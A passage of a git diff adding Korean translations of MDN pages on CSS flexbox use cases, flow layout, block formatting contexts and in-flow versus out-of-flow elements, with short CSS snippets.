+<p>가로로 표시하려는 항목 집합이 있으면 잉여 공간이 생길 수밖에 없습니다. 우리는 그 공간으로 무엇을 해야할지 결정해야 하며 몇 가지 선택 옵션이 있습니다. 일번 선택은 우리가 항목 무리 이외의 공간을 표시합니다. 따라서 그 사이 또는 그 주변에 공백이 생깁니다. 또는 항목 내부 여분의 공간을 흡수하려면 항목 집합이 이 공간을 확장하고 점유할 수 있는 메소드가 필요합니다.</p>
+
+<h3 id="항목_외부에_공간_분배">항목 외부에 공간 분배</h3>
+
+<p>항목 사이 또는 주위에 공간을 분배시키기 위해 가변상자의 정렬 속성과 {{cssxref("justify-content")}} 속성을 사용합니다. 이 속성에 대한 자세한 내용은 기본 축을 기준으로 항목 정렬을 처리하는 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">가변 컨테이너의 항목 정렬</a>에서 확인할 수 있습니다.</p>
+
+<p>아래 실제 예에서 우리는 항목을 원래 크기로 표시하고 <code>justify-content: space-between</code>를 사용하여 항목 사이의 간격을 동일하게 만듭니다. <code>space-around</code> 값을 사용하거나, 지원이 될 경우 <code>space-evenly</code>를 사용해 공간이 분배되는 방식을 변경할 수 있습니다. <code>flex-start</code>를 사용하여 항목 끝에 공간을 배치하거나 <code>flex-end</code>를 사용하여 항목 앞에 배치하거나 <code>center</code>를 사용해 탐색 항목 중앙에 배치할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}</p>
+
+<h3 id="항목_내부에_공간_분배">항목 내부에 공간 분배</h3>
+
+<p>탐색 메뉴를 위한 다른 패턴은 항목 사이에 공간을 만드는 것이 아니라 항목 자체 내에 사용 가능한 공간을 분배하는 것입니다. 이 경우, <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">주축을 따라 가변 항목의 비율 제어</a>에서 설명된대로 가변 속성을 사용하여 항목이 서로 비례하여 확대 및 축소되도록 합니다.</p>
+
+<p>모든 탐색 메뉴 항목의 너비를 동일하게 하려면 <code>flex: auto</code>를 사용하면 됩니다. 그것은 <code>flex: 1 1 auto</code>의 약칭으로 모든 항목이 자동이란 가변 기반에 따라 확대되거나 축소됩니다. 여기서 자동이란 항목이 길수록 더 많은 공간이 생긴다는 말입니다.</p>
+
+<p>아래의 실제 예제에서 <code>flex: auto</code>를 <code>flex: 1</code>로 변경해보십시요. 이것은 <code>flex: 1 1 0</code>의 약칭입니다. 모든 항목이 0의 가변 기반에서 작동하여 모든 공간을 고르게 배분할 수 있기 때문에 모든 항목이 동일한 너비가 됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}</p>
+
+<h2 id="탐색_메뉴_분할">탐색 메뉴 분할</h2>
+
+<p>주축에서 항목을 정렬하는 또 다른 방법은 자동 여백을 사용하는 것입니다. 이를 통해 한 그룹의 항목이 왼쪽으로 정렬되고 다른 그룹이 오른쪽으로 정렬되는 탐색 모음(메뉴)의 디자인 패턴이 가능합니다.</p>
+
+<p>여기에서는 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container#Using_auto_margins_for_main_axis_alignment">주축 정렬에 대한 자동 여백 사용</a>에서 설명된 자동 여백 기술을 사용합니다. 항목 무리는 <code>flex-start</code>를 사용해 주축에 정렬됩니다. 그것이 가변상자의 초기값 동작이며, 우리가 항목을 오른쪽으로 정렬하려면 왼쪽 여백을 자동으로 지정합니다. 클래스 지정을 한 항목에서 다른 항목으로 이동하여 분할이 발생하는 위치를 변경할 수 있습니다.</p>
+
+<p>또한 이 예제에서는 가변 항목에 여백을 사용하여 항목 사이에 간격을 만들고 컨테이너에 음의 여백을 사용하여 항목이 여전히 오른쪽 및 왼쪽 가장자리와 맞붙도록 합니다. <ruby><em>박스 정렬</em><rp> (</rp><rt>Box Alignment</rt><rp>) </rp></ruby> 규격의 <code>gap</code> 속성이 가변상자에 구현될 때까지 항목 간에 배수구를 만들려면 이 방식으로 여백을 사용해야 합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}</p>
+
+<h2 id="항목_중심에_놓기">항목 중심에 놓기</h2>
+
+<p>가변상자 이전에 개발자들은 웹 디자인에서 가장 어려운 문제는 수직 중심이라고 농담할겁니다. 다음 실제 예제에서 볼 수 있듯이 가변상자의 정렬 속성을 사용하여 간단하게 만들었습니다.</p>
+
+<p>항목에 <code>flex-start</code>를 지정해 시작 부분으로 정렬하거나 <code>flex-end</code>를 지정해 끝 부분에 항목을 정렬하는 식으로 정렬을 맘대로 조정할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}</p>
+
+<p><ruby><em>박스 정렬</em><rp> (</rp><rt>Box Alignment</rt><rp>) </rp></ruby> 속성은 궁극적으로 블록 조판의 내용으로 구현될 예정이므로 미래에는 단일 아이템을 중앙에 배치하기 위해 컨테이너를 가변 컨테이너로 만들 필요는 없습니다. 그러나 당장은 하나의 것을 다른 것의 중심에 올바로 배치해야하는 경우 가변상자를 사용하는 게 맞습니다. 위의 예에서와 같이 컨테이너를 가변 컨테이너로 만든 다음 상위 요소에 대해 <code>align-items</code>을 사용하거나 가변 항목 자체를 <code>align-self</code>로 공략합니다.</p>
+
+<h2 id="바닥글을_아래로_밀어내는_카드_조판">바닥글을 아래로 밀어내는 카드 조판</h2>
+
+<p>가변상자 또는 씨에스에스 격자를 사용하여 카드 구성 요소의 목록을 조판하더라도, 이들 조판 메서드는 가변 또는 격자 구성 요소의 직계 자식에서만 작동합니다. 즉, 콘텐츠의 크기가 가변적이면 카드가 격자 영역의 높이나 가변 컨테이너의 높이까지 늘어납니다. 모든 내부 콘텐츠는 친숙한 블록 조판을 사용합니다. 즉, 콘텐츠가 적은 카드에서는 바닥글이 카드의 아래쪽에 고정되지 않고 콘텐츠의 밑단까지 차오릅니다.</p>
+
+<p><img alt="구성 요소의 내부가 (상위) 랩퍼와 함께 늘어나지 않음을 표시하는 두 개의 카드 구성 요소." src="https://mdn.mozillademos.org/files/15669/flex-cards.png" style="height: 626px; width: 964px;"></p>
+
+<p>가변상자가 이를 해결할 수 있습니다. 우리는 {{cssxref("flex-direction")}}<code>: column</code> 속성를 가진 카드를 가변 컨테이너로 만듭니다. 그런 다음 컨텐츠 영역을 <code>flex: 1</code>로 설정합니다. 이는 <code>flex: 1 1 0</code>의 축약형입니다. — 항목이 <code>0</code>의 가변 기준에서 커지거나 줄어들 수 있습니다. 이것이(컨텐츠 영역이) 커질 수 있는 유일한 항목이므로 가변 컨테이너에 있는 잉여 공간을 차지하고 바닥글을 바닥으로 밉니다. 라이브 예제에서 <code>flex</code> 속성을 제거하면 바닥글이 컨텐츠 바로 아래로 이동하는 방식을 볼 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}</p>
+
+<h2 id="미디어_객체">미디어 객체</h2>
+
+<p>미디어 객체는 웹 디자인에서 일반적인 패턴입니다. 이 패턴에는 한쪽에 이미지 나 다른 요소가 있고 오른쪽에 텍스트가 있습니다. 이상적으로 미디어 개체를 반대쪽으로 돌릴 수 있어야 합니다. 말하자면 이미지를 왼쪽에서 오른쪽으로 이동시키는 겁니다.</p>
+
+<p>이 패턴은 어디에서나 볼 수 있으며, 주석 상자용으로 쓰이기도 하고, 이미지와 설명을 표시해야하는 모든 곳에서 볼 수 있습니다. 가변상자를 사용하면 이미지를 포함하는 미디어 객체의 일부가 이미지에서 크기 정보를 가져온 다음 미디어 객체의 본문이 가변적으로 남은 공간을 차지할 수 있습니다.</p>
+
+<p>여러분은 아래 실제 예제에서 미디어 객체를 볼 수 있습니다. 정렬 속성을 사용하여 십자축의 항목을 <code>flex-start</code>로 정렬한 다음 <code>.content</code> 가변 항목을 <code>flex: 1</code>로 설정했습니다. 위의 열 조판 카드 패턴에서와 같이 <code>flex: 1</code>를 사용하면 카드가 커질 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}</p>
+
+<p>이 라이브 예제에서 시도할 수 있는 것은 디자인에서 미디어 개체를 제약하려는 여러 가지 방법과 관련이 있습니다.</p>
+
+<p>이미지가 너무 커지는 것을 방지하려면 이미지에 {{cssxref("max-width")}}를 추가하십시오. 미디어 객체의 그쪽 측면이 가변상자의 초기값(예: 100px)을 사용함에 따라 줄어들지만 커질 수는 없으며 <code>flex-basis</code>는 자동을 사용합니다. 이미지에 적용된 모든 {{cssxref("width")}} 또는 최대 너비는 <ruby><code>flex-basis</code><rp> (</rp><rt>가변 기준</rt><rp>) </rp></ruby>이 됩니다.</p>
+
+<pre class="brush: css">.image img {
+ max-width: 100px;
+}
+</pre>
+
+<p>또한 양쪽이 비례하여 커지거나 줄어들 수 있습니다. 양면을 <code>flex: 1</code>로 설정하면 0의 {{cssxref("flex-basis")}}에서 커지거나 줄어들기 때문에 두 개의 동일한 크기의 열이 생깁니다. 컨텐츠를 기준으로 사용하여 (컨텐츠와 이미지) 둘 다에 <code>flex: auto</code>로 설정하면 컨텐츠의 크기에 따라, 또는 이미지의 너비와 같은 가변 항목에 직접 적용되는 크기에 따라 커지거나 줄어들 수 있습니다.</p>
+
+<pre class="brush: css">.media .content {
+ flex: 1;
+ padding: 10px;
+}
+
+.image {
+ flex: 1;
+}</pre>
+
+<p>예를 들어 이미지가 있는 쪽을 <code>flex: 1</code>로 설정하고 콘텐츠 쪽을 <code>flex: 3</code>으로 설정하는 등 각면에 서로 다른 {{cssxref("flex-grow")}}를 부여할 수 있습니다. 즉, <code>flex-basis</code>를 <code>0</code>으로 사용하지만 해당 공간을 <code>flex-grow</code> 인수에 맞춰 서로 다르게 공간을 할당합니다. 그런 용도로 사용하는 가변 속성은 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">주축을 따라 가변 항목의 비율 제어</a> 안내서에서 자세히 설명되어 있습니다.</p>
+
+<pre class="brush: css">.media .content {
+ flex: 3;
+ padding: 10px;
+}
+
+.image {
+ flex: 1;
+}</pre>
+
+<h3 id="미디어_객체_방향_돌리기">미디어 객체 방향 돌리기</h3>
+
+<p>이미지가 오른쪽에 있고 콘텐츠가 왼쪽에 있도록 미디어 객체의 표시를 전환하려면 <code>flex-direction</code> 속성을 이용해 <code>row-reverse</code>로 설정할 수 있습니다. 미디어 개체가 이제 다른 방향으로 표시됩니다. 저는 그걸 달성하기 위해 라이브 예제에서 기존 <code>.media</code> 클래스와 함께 <code>flipped</code> 클래스를 추가했습니다. 즉, 에이치티엠엘에서 해당 클래스를 제거하여 디스플레이가 어떻게 변경되는지 확인할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}</p>
+
+<h2 id="양식_컨트롤">양식 컨트롤</h2>
+
+<p>가변상자는 양식 컨트롤에 스타일을 적용할 때 특히 유용합니다. 양식에는 일반적으로 서로 정렬하고 싶은 다수의 마크업과 다수의 작은 요소를 포함할 수 있습니다. 일반적인 패턴은 {{htmlelement("input")}} 요소가 {{htmlelement("button")}}과 짝을 이루는 검색 양식의 경우나 방문자가 단순히 전자 메일 주소를 입력하도록 하려는 경우입니다.</p>
+
+<p>가변상자를 사용하면 이러한 유형의 조판을 쉽게 달성할 수 있습니다. 테두리를 지정하고 표시하도록 설정한 래퍼 클래스에 <code>&lt;button&gt;</code> 및 <code>&lt;input&gt;</code> 필드가 포함되어 있습니다. 거기에 테두리를 부여하고 <code>display: flex</code>를 설정했습니다. 그런 다음 가변 속성을 사용하여 <code>&lt;input&gt;</code> 필드가 커지도록 했고, 버튼은 그렇지 않습니다. 이것은 사용 가능한 공간이 변함에 따라 텍스트 필드가 커지거나 작아지는 한 쌍의 필드가 있음을 의미합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}</p>
+
+<p>버튼을 오른쪽에 올려 놓은 것처럼 레이블이나 아이콘을 왼쪽에 쉽게 추가 할 수 있습니다. 나는 레이블을 추가했으며 배경색에 대한 스타일링 이외에 조판을 변경할 필요가 없었습니다. 신축성있는 입력 필드는 이제 맘대로 이용할 공간이 조금 줄어들지만 두 항목의 지분이 고려된 후 남은 공간을 사용합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}</p>
+
+<p>이와 같은 패턴을 사용하면 디자인에 추가할 요소를 쉽게 수용할 수 있는 양식 요소 라이브러리를 훨씬 쉽게 만들 수 있습니다. 커지지 않는 항목과 커지는 항목을 혼합하는 식으로 가변상자의 유연성을 활용하고 있습니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>위의 패턴을 살펴보면서 가변 상자를 사용하여 원하는 결과를 얻는 가장 좋은 방법을 여러분이 생각을 통해 파악되기 시작했길 희망해봅니다. 종종 하나 이상의 선택이 있습니다. 늘릴 수 없는 항목을 늘릴 수 있는 것과 혼합하거나, 콘텐츠를 사용하여 크기를 알리거나, 가변상자가 공간을 비례적으로 공유할 수 있도록 하십시오. 그것은 당신에게 달려 있습니다.</p>
+
+<p>보유 컨텐츠를 제시하는 가장 좋은 방법을 생각한 다음 가변상자 또는 기타 조판 방법이 컨텐츠를 선보이는 데 어떻게 도움이 되는지 살펴보십시오.</p>
diff --git a/files/ko/web/css/css_flow_layout/index.html b/files/ko/web/css/css_flow_layout/index.html
new file mode 100644
index 0000000000..32928121ff
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/index.html
@@ -0,0 +1,46 @@
+---
+title: CSS Flow Layout
+slug: Web/CSS/CSS_Flow_Layout
+tags:
+ - CSS 흐름 레이아웃
+ - 흐름
+translation_of: Web/CSS/CSS_Flow_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><em>일반적인 흐름 Normal Flow</em>, 또는 흐름 레이아웃 Flow Layout 은 그 레이아웃 변화가 있기 전까지 페이지 안의 블록 요소와 인라인 요소가 보여지는 방식 입니다. 흐름이란 본질적으로 레이아웃 아래 서로 같이 동작하고 서로에게 서로가 알려지는 것들의 집합 입니다. 만약에 어느 하나가 <em>흐름에서 벗어나면</em> 그것은 독립적으로 동작하게 됩니다.</p>
+
+<p><em>일반적인 흐름</em>에서, <strong>인라인</strong> 요소들은 한줄러 늘어서 보여지게 되는데, 이는 문서의 <a href="/en-US/docs/Web/CSS/CSS_Writing_Modes">Writing Mode</a> 에 따라 문장 안의 단어들이 보여지는 방향을 따르게 됩니다. <strong>블록</strong> 요소들은 문서의 Writing Mode 에서의 단락이 하나씩 나눠져 보여지듯이 나타납니다. 그래서 영어에서는, 인라인 요소들은 왼쪽에서 시작하여 하나씩 보여지고, 블록 요소들은 맨 위에서부터 페이지를 따라 아래로 보여집니다.</p>
+
+<h2 id="기본적인_예">기본적인 예</h2>
+
+<p>아래의 예는 블록과 인라인 레벨 박스들을 설명합니다. 초록 테두리를 갖은 두개의 paragraph 요소들은 블록 레벨에 있어서 하나씩 위에서 아래로 나타납니다.</p>
+
+<p>첫번째 문장은 파란 바탕을 갖은 span 요소를 포함하고 있습니다. 이 요소는 인라인 레벨에 있으며 따라서 문장 내에 이어져 나타납니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}</p>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting Contexts Explained</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">Flow Layout and Writing Modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow">Flow Layout and Overflow</a></li>
+</ul>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Glossary_Entries">Glossary Entries</h3>
+
+<ul>
+ <li>{{Glossary("Block/CSS", "Block (CSS)")}}</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
new file mode 100644
index 0000000000..3a91f6ba92
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
@@ -0,0 +1,92 @@
+---
+title: 서식 상황 입문서
+slug: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts
+tags:
+ - BFC
+ - 대열
+ - 블록 서식 상황
+ - 서식 상황
+ - 씨에스에스
+ - 안내서
+ - 조판
+ - 중급
+translation_of: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary">이 문서는 서식 상황의 개념을 소개합니다. 서식 상황에는 블록 서식 상황과 인라인 서식 상황, 가변 서식 상황을 포함한 여러 유형이 있습니다. 그들이 어떻게 동작하고 어떻게 그러한 동작을 활용할 수 있는지에 대한 기본 사항도 소개합니다.</span></p>
+
+<p>페이지의 모든 것은 서식 상황(<strong>formatting context</strong>)의 일부이거나 특정 방식으로 콘텐츠를 배치하도록 정의된 영역입니다. 블록 서식 상황(<strong>block formatting context</strong>)은 블록 조판 규칙에 따라 자식 요소를 배치하고, 가변 서식 상황(<strong>flex formatting context</strong>)은 자식을 {{Glossary("flex item", "flex items")}}로 취급해 배치합니다. 각 서식 상황은 해당 상황에 속했을 때 조판이 어떻게 동작하는지에 대한 특정 규칙을 가지고 있습니다.</p>
+
+<h2 id="블록_서식_상황">블록 서식 상황</h2>
+
+<p>문서의 최외각 요소는 우선 블록 조판 규칙을 수립합니다. 이를 일컬어 초기 블록 서식 상황(<strong>initial block formatting context</strong>)이라고 합니다. 이는 <code>&lt;html&gt;</code> 요소 블록 내부의 모든 요소는 블록 및 인라인 조판 규칙을 따르는 일반 대열에 따라 배치됨을 의미합니다. 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)에 참여하는 요소는 씨에스에스 상자 모델에 의해 윤곽이 제시된 규칙을 사용합니다. 이 모델은 요소의 여백, 테두리 및 패딩이 동일한 서식 상황에서 서로 다른 블록과 상호 작용하는 방법을 정의합니다.</p>
+
+<h3 id="새로운_블록_서식_상황_생성하기">새로운 블록 서식 상황 생성하기</h3>
+
+<p>단지 {{HTMLElement("html")}} 요소만이 블록 서식 상황을 생성할 능력을 갖춘 것은 아닙니다. 기본값으로 블록 조판인 모든 요소는 역시 자기 자손 요소에 대한 블록 서식 상황을 생성합니다. 또한 기본값으로 주어지지 않아도 블록 서식 상황을 생성하도록 할 수 있는 씨에스에스 속성이 있습니다. 동 속성이 유용한 까닭은 새로운 블록 서식 상황이 자체적으로 주 조판 내부의 소형 조판이 된다는 점에서 최외곽 문서와 매우 유사하게 작동하기 때문입니다. 블록 서식 상황은 그 내부에 모든 요소를 포함하고, {{cssxref("float")}} 및 {{cssxref("clear")}}는 동일한 서식 상황에 속한 항목에만 적용되며, 여백 축소는 동일한 서식 상황 요소 사이에만 이뤄집니다.</p>
+
+<p>우리 문서의 뿌리 요소인 ({{HTMLElement("html")}}) 이 외에도 새로운 블록 서식 상황은 다음과 같은 경우에 생성됩니다.</p>
+
+<ul>
+ <li>{{cssxref("float")}}를 사용으로 요소가 부동체가 되는 경우</li>
+ <li>절대 위치잡기한 요소, 여기에는 {{cssxref("position", "position: fixed", "#fixed")}} 혹은 {{cssxref("position", "position: sticky", "#sticky")}}가 포함됩니다.</li>
+ <li>{{cssxref("display", "display: inline-block", "#inline-block")}}이 적용된 요소</li>
+ <li><code>display: table-cell</code>이 적용된 테이블 셀 또는 요소, 여기에는 <code>display: table-*</code> 속성 무리를 사용한 익명 테이블 셀도 포함됩니다.</li>
+ <li><code>display: table-caption</code>이 적용된 테이블 캡션이나 요소</li>
+ <li><code>visible</code>이외의 대열이탈 값을 갖는 블록 요소</li>
+ <li><code>display: flow-root</code> 혹은 <code>display: flow-root list-item </code>가 적용된 요소</li>
+ <li>{{cssxref("contain", "contain: layout", "#layout")}}, <code>content</code>, 또는 <code>strict</code>가 적용된 요소</li>
+ <li>{{Glossary("flex item", "flex items")}}</li>
+ <li>격자 항목</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol">다단 컨테이너</a></li>
+ <li>{{cssxref("column-span")}}이 <code>all</code>로 설정된 요소</li>
+</ul>
+
+<p>블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성하는 효과를 확인하기 위해 이들 중 몇 가지를 살펴봅시다.</p>
+
+<p>아래 예제에서, 우리는 테두리가 적용된 <code>&lt;div&gt;</code> 내부에 부동체 요소 하나를 가지고 있습니다. 해당 <code>div</code>의 콘텐츠는 부동체 요소와 나란히 부동해왔습니다. 동 부동체의 콘텐츠가 자기 옆에 있는 콘텐츠보다 키가 크기 때문에 하위 <code>&lt;div&gt;</code>의 테두리는 이제 부동체에 전체에 걸쳐 진행하고 있습니다. <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/대열과_탈대열">대열 요소와 탈대열 요소에 관한 안내서</a>에서 설명했듯이, 동 부동체는 대열에서 제외되어 <code>&lt;div&gt;</code> 요소의 배경과 테두리는 콘텐츠만 포함하지 부동체는 포함하지 않습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}</p>
+
+<p>새로운 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성하면 동 부동체를 포함할 겁니다. 그러려면 전형적인 방법은 <code>overflow: auto</code>를 설정하거나, 초깃값인 <code>overflow: visible</code> 이외의 다른 값을 설정하는 식이었습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}</p>
+
+<p><code>overflow: auto</code>를 지정하여 동 부동체를 포함하는 새로운 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성했습니다. 우리의 <code>div</code>가 이제는 우리 조판 내부에 소형 조판이 되었습니다. 모든 자식 요소는 소형 조판 내부에 포함되게 됩니다.</p>
+
+<p>대열이탈(<code>overflow</code>)을 사용하여 새로운 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성하는 것이 문제가 되는 것은 대열이탈(<code>overflow</code>) 속성이 대열이탈 콘텐츠를 어떻게 다루고 싶은지 브라우저에 알려주기 위한 것입니다. 이 속성을 순수하게 블록 서식 상황을 생성할 목적으로 사용할 경우 원치 않는 스크롤 막대 또는 잘려 나간 그림자를 생기는 경우도 있습니다. 또한, 그 경우는 후진 개발자가 왔을 때 판독의 여지가 많지 않을 수 있습니다. 왜냐면 대열이탈을 무슨 목적으로 사용했는지 이유가 분명하지 않을 수 있기 때문입니다. 다음과 같이 하면 코드를 설명하는 데 좋은 아이디어가 될 것입니다.</p>
+
+<h3 id="display_flow-root을_사용하며_명시적으로_블록_서식_상황을_생성하기">display: flow-root을 사용하며 명시적으로 블록 서식 상황을 생성하기</h3>
+
+<p><code>display: flow-root</code> (또는 <code>display: flow-root list-item)</code>)를 컨테이너 블록상에 사용하면 잠재적인 문제가 될 수 있는 여타 부작용 없이 새로운 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-flow-root.html", '100%', 720)}}</p>
+
+<p>{{HTMLElement("div")}}에 요소상에 <code>display: flow-root</code>을 적용하면, 컨테이너 내부의 모든 요소는 해당 컨테이너의 블록 서식 상황에 참여하게 되며, 부동체 무리는 동 요소 밑으로 돌출하지 않게 됩니다.</p>
+
+<p>대열뿌리(<code>flow-root</code>)라는 키워드 명명은 (마치 {{HTMLElement("html")}}의 경우처럼) 본질적으로 새로운 뿌리 요소와 같은 기능하는 어떤 것을 생성한다는 사실을 말해줍니다. 새로운 상황이 어떻게 생성되었으며 어떻게 해당 대열 조판이 기능하는지를 고려하면 그렇습니다.</p>
+
+<h2 id="인라인_서식_상황">인라인 서식 상황</h2>
+
+<p>인라인 서식 상황은 다른 서식 상황 내부에 존재하며 하나의 단락 상황처럼 생각될 수 있습니다. 단락은 텍스트상에 사용되는 {{HTMLElement("strong")}}, {{HTMLElement("a")}} 또는 {{HTMLElement("span")}} 등이 내부적으로 사용되는 인라인 서식 상황을 생성합니다.</p>
+
+<p>상자 모델은 인라인 서식 상황에 참여하는 항목에 100% 적용되지 않습니다. 가로쓰기 모드 라인에서 수평 패딩, 테두리 및 여백이 요소에 적용되고 텍스트를 왼쪽과 오른쪽으로 밀어냅니다. 그러나, 해당 요소 위와 아래에 여백은 적용되지 않습니다. 수직 패딩 및 테두리는 적용되지만 인라인 서식 상황에서 라인 상자가 패딩 및 테두리에 의해 밀려나지 않음으로 위와 아래에 내용이 겹칠 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/inline.html", '100%', 720)}}</p>
+
+<h2 id="기타_서식_상황">기타 서식 상황</h2>
+
+<p>이 안내서는 대열 조판을 다루므로 여타 가능한 서식 상황을 참조하지 않습니다. 따라서 어떤 유형의 서식 상황을 만드는 것이 서식 상황 속에 포함된 요소 무리가 작동하는 방식을 변화시킬 것인지 파악하는 것이 유용합니다. 이런 동작은 항상 에이치티엠엘 규격에 기술되어 있고, 또한 이곳 모질라 개발자 네트워크(MDN)에도 기술되어 있습니다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이번 안내서에서는 블록 및 인라인 서식 상황과 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성하는 중요한 주제를 자세히 살펴보았습니다. 다음 안내서에서는 <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/%ED%9D%90%EB%A6%84_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EA%B3%BC_%EC%93%B0%EA%B8%B0_%EB%AA%A8%EB%93%9C">어떻게 일반 대열과 서로 다른 쓰기 모드가 상호 작용</a>하는지에 대해 알아보겠습니다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">불록 서식 상황</a></li>
+ <li><a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model">씨에스에스 기본 상자 모델</a></li>
+</ul>
diff --git a/files/ko/web/css/css_flow_layout/대열과_탈대열/index.html b/files/ko/web/css/css_flow_layout/대열과_탈대열/index.html
new file mode 100644
index 0000000000..2b05d99f39
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/대열과_탈대열/index.html
@@ -0,0 +1,72 @@
+---
+title: 대열과 탈대열
+slug: Web/CSS/CSS_Flow_Layout/대열과_탈대열
+tags:
+ - 대열
+ - 대열 조판
+ - 씨에스에스
+ - 씨에스에스 대열 조판
+ - 안내서
+ - 조판
+ - 중급
+translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><a href="/ko/docs/Web/CSS/CSS_Flow_Layout/%EC%9D%BC%EB%B0%98_%ED%9D%90%EB%A6%84_%EC%86%8D_%EB%B8%94%EB%A1%9D_%EB%B0%8F_%EC%9D%B8%EB%9D%BC%EC%9D%B8_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83">이전 안내서</a>에서 제가 일반 대열 속 블록 및 인라인 조판에 대해 설명하였습니다. 대열에 속한 모든 요소는 이 메서드를 사용하여 배치됩니다.</p>
+
+<p>다음 예제에서는 머리글, 단락, 목록 및 <code>strong</code> 요소가 포함된 마지막 단락이 있습니다. 머리글과 단락은 블록 레벨이며, <code>strong</code> 요소는 인라인입니다. 목록은 가변상자를 사용하여 항목을 행 내부로 정렬하지만 블록 및 인라인 조판에도 참여하고 있습니다. 컨테이너는 외곽에 <code>display</code> 유형이 <code>block</code> 대열에 참여하고 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}</p>
+
+<p>요소 무리 전체는 대열에 속해 있다고 말할 수 있습니다. 에이치티엠엘 소스에 나타나는 순서대로 요소 무리들이 웹페이지에 등장합니다.</p>
+
+<h2 id="항목을_대열_밖으로_빼내기">항목을 대열 밖으로 빼내기</h2>
+
+<p>대열에 속한 모든 요소는 다음과 구분된다:</p>
+
+<ul>
+ <li>부동 항목</li>
+ <li><code>position: absolute</code> 속성이 부여된 항목 (아울러 <code>position: fixed</code> 속성이 딸린 항목도 마찬가지로 동작합니다.)</li>
+ <li>뿌리 요소(<code>html</code>)</li>
+</ul>
+
